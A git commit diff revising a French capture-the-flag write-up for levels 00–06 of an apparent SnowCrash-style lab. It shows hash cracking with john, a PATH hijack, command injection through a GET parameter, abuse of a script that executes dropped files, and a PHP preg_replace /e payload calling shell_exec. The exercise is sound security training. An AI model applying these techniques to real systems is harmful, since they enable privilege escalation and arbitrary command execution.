solution corrected and improved level00-06
This commit is contained in:
parent
e058c734b6
commit
9a8692883d
|
@ -55,10 +55,8 @@ flag12:x:3012:3012::/home/flag/flag12:/bin/bash
|
|||
flag13:x:3013:3013::/home/flag/flag13:/bin/bash
|
||||
flag14:x:3014:3014::/home/flag/flag14:/bin/bash
|
||||
|
||||
On peut voir que flag01 donne une information sur le mots de passe. Il n'est pas en claire mais on peut imaginer qu'il est stoquer sous forme de hash.
|
||||
On va donc utiliser "john". On enresitre le hash dans un fichier, puis on passe se fichier en argument a john.
|
||||
On peut voir que flag01 donne une information sur le mot de passe. Il n'est pas en clair mais on peut imaginer qu'il est stocke sous forme de hash.
|
||||
On va donc utiliser "john". On enregistre le hash dans un fichier, puis on passe ce fichier en argument a john.
|
||||
|
||||
$ john flag_intermediaire
|
||||
> abcdefg
|
||||
|
||||
|
||||
|
|
|
@ -2,11 +2,12 @@ Il y a un fichier nommer level02.pcap. Avec une petite recherche google on appre
|
|||
|
||||
tshark est un utilitaire premettant de lire les fichier pcap
|
||||
|
||||
-Tfields permet de selectioner des champ specifique, on choisiera le champ data
|
||||
"-T fields" permet de selectioner des champ specifique, on choisiera le champ data avec "-e data"
|
||||
|
||||
$ sudo tshark -r Ressource/level02.pcap -T fields -e data
|
||||
|
||||
avec un convewrtisseur hex to char on obtien:
|
||||
avec un convertisseur en ligne hex to char on obtient:
|
||||
|
||||
Password: ft_wandr...NDRel.L0L (avec le '.' qui sont des charactere non inprimable. Ce sont des back-space)
|
||||
Password: ft_wandr...NDRel.L0L (avec le '.' qui sont des caracteres non imprimables (7F). man ascii => Ce sont des backspace)
|
||||
|
||||
En prenant en compte les backspaces on obtient "ft_waNDReL0L"
|
|
@ -1,6 +1,15 @@
|
|||
On peut voir qu'il y a un executable level03 appartenant a flag03.
|
||||
Ce fichier execute: echo "Exploit me"
|
||||
|
||||
on peut donc changer le PATH. Cree un fichier executable dans /tmp qui execute getflag
|
||||
on peut donc changer le PATH. Cree un fichier executable nomme echo dans /tmp qui execute getflag
|
||||
|
||||
quand on execute level03 on obtient alors le flag
|
||||
# /tmp/echo
|
||||
|
||||
#!/bin/bash
|
||||
getflag
|
||||
|
||||
on execute level03 de cette maniere :
|
||||
|
||||
PATH=/tmp:$PATH ./level03
|
||||
|
||||
On obtient alors le flag
|
||||
|
|
|
@ -1,7 +1,10 @@
|
|||
Il y a un script qui fait tourner un serveur
|
||||
On se rend compte qu'il tourne avec un find / -user flag04 car il est sur le serveur nginx
|
||||
On se rend compte qu'il tourne avec un find / -user flag04 car il est sur le serveur apache
|
||||
on voit que le serveur affiche le parametre "x" passe en get avec un echo
|
||||
echo peut afficher le resultat de commande avec par exemple echo `ls`
|
||||
on envoi un requete GET /?x=`getflag` avec netcat sur le port 4848 du pc
|
||||
$ nc -v rssweather.com 80
|
||||
le serveur print le flag
|
||||
echo peut afficher le resultat de commande si elle mise entre backquotes par exemple "echo `ls`"
|
||||
on envoi un requete GET /?x=`getflag` avec netcat sur le port 4747 du pc
|
||||
|
||||
$ nc 127.0.0.1 4747
|
||||
GET /?x=`getflag`
|
||||
|
||||
le serveur renvoie le flag
|
||||
|
|
|
@ -2,9 +2,11 @@ avec
|
|||
$ find / -user flag05 2>/dev/null
|
||||
> /usr/sbin/openarenaserver
|
||||
|
||||
On peut lir le script il execut tout les fichier dans : /opt/openarenaserver/ puis les supprime
|
||||
On peut cat le script il execute tout les fichier dans : /opt/openarenaserver/ puis les supprime
|
||||
|
||||
En crean un fichier dans ce dossier on peut observer qu'il est rapidemnt suprimer, donc executer
|
||||
En creant un fichier dans ce dossier on peut observer qu'il est rapidement suprimer, donc executer
|
||||
|
||||
il suffit d'avoir un fichier qui contien:
|
||||
il suffit d'avoir un fichier qui contient:
|
||||
getflag > /tmp/flag05
|
||||
|
||||
il sera alors execute et on pourra recuperer le flag dans /tmp/flag05
|
|
@ -1,16 +1,20 @@
|
|||
On a vu qu'il y avait un script php qi etait executer par un executable.
|
||||
C'ette executable prent en argument un fichier et transmet le comptenue du fichier au script php.
|
||||
Ce scripte php effectue plusieur regex.
|
||||
On a vu qu'il y avait un script php qui est execute par le binaire level06.
|
||||
Cet executable prend en argument un fichier et transmet le contenue du fichier au script php.
|
||||
Ce script php effectue plusieurs regex.
|
||||
|
||||
On a telecharger ce scripte pour l'indenter correctement et pouvoir un peu mieux le lire malgres les regex...
|
||||
On a telecharge ce script pour l'indenter correctement et pouvoir un peu mieux le lire malgre les regex...
|
||||
|
||||
Apres quelque recherche sur les regex, preg_replce et /e en php, on a efectuer une simple recherche google:
|
||||
"ctf preg_replace /e"
|
||||
Apres quelque recherche sur les regex, preg_replace et /e en php, on se rend compte que la ligne :
|
||||
$a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a);
|
||||
|
||||
le premier liens etait un exo de ctf remarcablement identique a notre exercice:
|
||||
https://0x00sec.org/t/how-to-pwned-nebula-level09-php-preg-replace/812
|
||||
est vulnerable, en effet le modifier /e fait que le deuxieme argument de preg_replace sera interprete comme une expression php
|
||||
|
||||
on remarque qu'on peut utiliser une commande shell en php avec shell_exec, il suffit donc d'entrer l'expression php
|
||||
shell_exec(getflag)
|
||||
dans la regex
|
||||
|
||||
il faut un ficher avec
|
||||
|
||||
[x {${shell_exec(getflag)}}]
|
||||
|
||||
puis rentrer ce fichier en argument du binaire level06
|
Loading…
Reference in New Issue